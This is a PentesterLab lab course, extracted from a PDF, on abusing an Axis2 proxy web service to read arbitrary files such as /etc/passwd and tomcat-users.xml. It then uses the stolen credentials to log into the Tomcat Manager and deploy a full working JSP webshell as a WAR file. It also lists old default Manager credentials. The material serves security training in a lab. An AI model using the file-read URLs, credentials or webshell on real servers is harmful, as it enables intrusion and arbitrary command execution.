Download as pdf or txt
Download as pdf or txt
You are on page 1of 28

AXIS2 AND TOMCAT MANAGER

By Louis Nyffenegger <Louis@PentesterLab.com>

PentesterLab.com Axis2 and Tomcat Manager

Table of Content Table of Content Introduction About this exercise


License Syntax of this course The web application

2 4 5
5 6 6

Tomcat and Apache


Architecture Retrieving Tomcat version

8
8 10

Attacking Axis2
Retrieving information from the WSDL Calling Axis2 services: the easy way Calling Axis2 services: the hard way Java URL class

12
13 15 16 16

Attacking the Tomcat Manager


Introduction to the Tomcat Manager Default Manager's credentials Accessing the Manager using the vulnerability found previously Deploying a WebShell
Building a WebShell Deploying a WebShell and Commands execution

19
19 21 22 23
23 25

Conclusion

28

2/28

PentesterLab.com Axis2 and Tomcat Manager

3/28

PentesterLab.com Axis2 and Tomcat Manager

Introduction
This course details the exploitation of an issue in an Axis2 Web service and how using this issue it is possible to retrieve arbitrary files. Then using this, we will see how an attacker can retrieve Tomcat users' file to access the Tomcat Manager and gain commands execution on the server.

4/28

PentesterLab.com Axis2 and Tomcat Manager

About this exercise


License
This exercise by PentesterLab is licensed under the Creative Commons AttributionNonCommercial-NoDerivs 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-nd/3.0/.

5/28

PentesterLab.com Axis2 and Tomcat Manager

Syntax of this course


The red boxes provide information on mistakes/issues that are likely to happen while testing: An issue that you may encounter... The green boxes provide tips and information if you want to go further. You should probably check... The blue boxes are "homework": things you can work on once you are done with this exercise: You should probably work on...

The web application


Once the system has booted, you can then retrieve the current IP address of the system using the command ifconfig:

6/28

PentesterLab.com Axis2 and Tomcat Manager

$ ifconfig eth0 eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:88 errors:0 dropped:0 overruns:0 frame:0 TX packets:77 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10300 (10.0 KiB) TX bytes:10243 (10.0 KiB) Interrupt:11 Base address:0x8000

In this example the IP address is 10.0.2.15. Throughout the training, the hostname vulnerable is used for the vulnerable machine, you can either replace it by the IP address of the machine, or you can just add an entry to your host file with this name and the corresponding IP address. It can be easily done by modifying: on Windows, your C:\Windows\System32\Drivers\etc\hosts file; on Unix/Linux and Mac OS X, your /etc/hosts file. The IP address can change if you restart the system, don't forget to update your hosts file.

7/28

PentesterLab.com Axis2 and Tomcat Manager

Tomcat and Apache


Architecture
On Unix/Linux systems, Tomcat cannot be run on port 80 unless you give root access to the application server (Tomcat), which is not a good idea since Tomcat does not drop privileges and will be running as root (as opposed to Apache which drops privileges during startup). However, to be available from most users, the server needs to be available on port 80, that is one of the reason people use Apache to "proxy" the request to Tomcat. This configuration can also be used to: serve static content directly from Apache and limit Tomcat's load; load balance requests between two or more Tomcat servers.

8/28

PentesterLab.com Axis2 and Tomcat Manager

The Apache and Tomcat servers can be on the same server or on different servers, this can be confusing once you gain commands execution on the Tomcat server and realise that its configuration does not match what you see on the Apache's end. There are two common ways to "proxy" requests from Apache to Tomcat: http_proxy: the requests are forwarded to Tomcat using the HTTP protocol; ajp13: the requests are forwarded to Tomcat using the AJP13 protocol. This configuration is used in this exercise using the Apache module mod_jk. You should look into CVE-2007-0450 and CVE-2007-1860, these vulnerabilities impact old versions of Tomcat/mod_jk and can potentially allow an attacker to gain access to the Tomcat Manager even if it is not directly exposed by Apache. Here, the page's title gives away that Tomcat is involved in this web stack, however the HTTP headers only give information on the Apache server in front of it:

9/28

PentesterLab.com Axis2 and Tomcat Manager

% telnet vulnerable 80 Connected to vulnerable. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 26 Dec 2012 08:48:22 GMT Server: Apache/2.2.16 (Debian) [...]

Retrieving Tomcat version


It is always a good idea to retrieve the version of Tomcat to check if it is affected by any vulnerability. You can retrieve the version by accessing a non-existing page and generate a 404 error page:

10/28

PentesterLab.com Axis2 and Tomcat Manager

11/28

PentesterLab.com Axis2 and Tomcat Manager

Attacking Axis2
Axis2 is a project from the Apache Foundation, it allows developer to create Web services in C and in Java. By default, Axis2 gets deployed in /axis2/ (when developers use axis2.war), you can easily retrieve a list of the available services by visiting the page http://vulnerable/axis2/services/listServices:

12/28

PentesterLab.com Axis2 and Tomcat Manager

If we did not know that the server was hosting a Web service using Axis2, we could try to use a directory buster like wfuzz to find out. However, wfuzz's default wordlists don't contain axis2, that is why it is always a good idea to keep your own list with paths of common applications and frameworks.

Retrieving information from the WSDL


13/28

PentesterLab.com Axis2 and Tomcat Manager

The Web Services Description Language describes the functionalities offered by a web service. A WSDL description of a web service (XML based) provides the methods that can be called, what parameters they expects and what values they will return. The WSDL information can be accessed by clicking the service's name in the listServices page or directly using the following URL: http://vulnerable/axis2/services/ProxyService?wsdl. You can find a list of methods by searching for the keyword operation in the portType section of the WSDL. In this file, we can see that only one operation is defined (get):
[...] <wsdl:portType name="ProxyServicePortType"> <wsdl:operation name="get"> <wsdl:input message="tns:getRequest" wsaw:Action="urn:get"/> <wsdl:output message="tns:getResponse" wsaw:Action="urn:getResponse"/> </wsdl:operation> </wsdl:portType> [...]

This operation is defined multiple times in the file for each different way to access it. We can see that this get operation uses a tns:getRequest and sends back a tns:getResponse. We are mostly interested by what the need to send to the service.
14/28

PentesterLab.com Axis2 and Tomcat Manager

Above the operation declaration, we can see that the getRequest used:
<wsdl:message name="getRequest"> <wsdl:part name="parameters" element="ns:get"/> </wsdl:message>

and that this value is declared above in the WSDL file as a parameter named uri and that this parameter is a string:
[...] <xs:element name="get"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="uri" nillable="true" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> [...]

Gathering this information is mostly a guess work and will depend on the WSDL file created by a given framework/tool, however we now have everything we need to call the Web service.

Calling Axis2 services: the easy way


15/28

PentesterLab.com Axis2 and Tomcat Manager

Axis2 provides an easy way to call Web services, you just need to follow the pattern http://[WS_URL]/method?parameters. In our example, we can use this to call our Web service: http://vulnerable/axis2/services/ProxyService/get? uri=https://pentesterlab.com/. We can see that the return value is the homepage of the website PentesterLab.

Calling Axis2 services: the hard way


For complex Web services (like Web service with complex parameter types), it is better to generate a client using Axis2. From my experience, it is often (always) better to use the same library used by the server to limit any problem of interoperability between two libraries written in different languages or using different specifications. You can find more information on how to generate a client using Axis2 by following the documentation on the Axis2 website: http://axis.apache.org/axis2/java/core/docs/userguide-creatingclients.html.

Java URL class


16/28

PentesterLab.com Axis2 and Tomcat Manager

We can see that this Web service uses the URL provided to retrieve content and echoes it back in the response. The easiest way to do that is the URL class in Java. We can probably use the URL class behaviour to get more than just a website content... The URL class can also be used as a port scanner if the developer didn't limit the ports you can have access to. You can try to access http://vulnerable/axis2/services/ProxyService/get? uri=http://localhost:22/ to see what version of OpenSSH is used. The Java URL class is a really handy class that allows a developer to fetch and retrieve content. This class supports the following protocols:
http:// https:// ftp:// file://

...

17/28

PentesterLab.com Axis2 and Tomcat Manager

The first example is the most common use of this class and often used as a proxy to retrieve resources and bypass the same origin policy. The file:// is less known and allow an attacker to retrieve arbitrary file on the file system (limited by the application server privileges). We can exploit this behaviour to retrieve the /etc/passwd by accessing the following URL http://vulnerable/axis2/services/ProxyService/get? uri=file:///etc/passwd and we can see the content of /etc/passwd in the response:

You should try to setup Apache and Tomcat using mod_jk and try to create a simple Axis2 HelloWorld Web service or an Axis2 Web service that returns the current time. You can check the configuration of Apache, Tomcat and Axis2 on the ISO to get an idea on how to do it.

18/28

PentesterLab.com Axis2 and Tomcat Manager

Attacking the Tomcat Manager


Introduction to the Tomcat Manager
The Tomcat Manager can be found at the following URL: http://vulnerable/manager/html. Tomcat Manager is used to deploy web applications within Tomcat. Tomcat Manager is protected by a password and should not be installed on production servers. The file containing the password is named tomcat-users.xml and is stored inside $CATALINA_HOME/conf/ on most systems. This file looks like:

19/28

PentesterLab.com Axis2 and Tomcat Manager

<tomcat-users> <role rolename="manager-gui"/> <user username="tomcat" password="tomcat" roles="tomcat"/> <user username="admin" password="s3cret" roles="manager-gui"/> </tomcat-users>

Debian has its own way of installing most software and tries to put configuration files in /etc. Tomcat installed through Debian's packaging system will follow this rule and the file tomcat-users.xml will be stored in /etc/tomcat6/ (for the current version of Debian stable). We can see here that users have a role, it's a really important part of the Manager application since you will need a user with the role manager (for version before 6.0.30) or manager-gui (for later version) to access the manager and deploy an application. Other "manager" role can also be used but the deployment is more complex. For example, if you login using tomcat with the password tomcat, you will get an HTTP 403 response:

20/28

PentesterLab.com Axis2 and Tomcat Manager

Default Manager's credentials


In past versions of Tomcat, the Manager used to be shipped with default accounts. However, for obvious security reasons, the new version of Tomcat are not shipped with default accounts (secure by default). In the past, the following accounts were common:

21/28

PentesterLab.com Axis2 and Tomcat Manager


Username tomcat admin admin admin admin manager password s3cret Password tomcat

Accessing the Manager using the vulnerability found previously


On Debian, by default, the tomcat-users.xml file is located in /etc/tomcat6, the version retrieved previously confirms this. Using the vulnerability discovered in the Axis2 Web service, we can retrieve this file. If the file was stored somewhere else, you can either brute force the path or try to gather more information on the application to find where Tomcat is located on the system.

22/28

PentesterLab.com Axis2 and Tomcat Manager

By default on Debian, this file can only read by root and the member of the group tomcat6, but since the directory traversal gives us the same access as the tomcat server, we can read the content of this file. It's possible to retrieve tomcatusers.xml by accessing the following URL: http://vulnerable/axis2/services/ProxyService/get?uri=file:///etc/tomcat6/tomcatusers.xml. You can then retrieve the password of the manager user and access the Tomcat Manager.

Deploying a WebShell
In this section, we are going to see how we can build and deploy a WebShell to gain command execution on the server.

Building a WebShell
To build a WebShell, we will need to write the WebShell and package it as a war file. To write the Webshell, we can either use JSP or Servlet. To keep things simple, we are going to build a JSP Webshell, the following code can be used:

23/28

PentesterLab.com Axis2 and Tomcat Manager

<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch (IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>

We can now create a directory name webshell and put our file (index.jsp) inside it:
$ mkdir webshell $ cp index.jsp webshell

Now we can build the war file using jar (provide with java):

24/28

PentesterLab.com Axis2 and Tomcat Manager

$ cd webshell $ jar -cvf ../webshell.war * added manifest adding: index.jsp(in = 579) (out= 351)(deflated 39%)

Our webshell (webshell.war) is now packaged and we can upload it using the Tomcat Manager.

Deploying a WebShell and Commands execution


To deploy the Webshell, you just need to select the war file you just created and upload it to the server using the Manager. The section of the page used to deploy a new web application allows you to directly select your war file:

25/28

PentesterLab.com Axis2 and Tomcat Manager

Once the Webshell is deployed, you should see it in the Manager:

26/28

PentesterLab.com Axis2 and Tomcat Manager

You just need to click the link to access it and you can start running arbitrary commands:

27/28

PentesterLab.com Axis2 and Tomcat Manager

Conclusion
This exercise explained how to get access to an Axis2 Web service and how the Java URL class can be used to retrieve arbitrary files if no checks are performed on the protocol in use. Once you can retrieve arbitrary files, you can target configuration files to gather sensitive information and passwords. Once you have credentials, you can easily access the administration interface of the application server and deploy a custom web application to run arbitrary commands on the system.

28/28

You might also like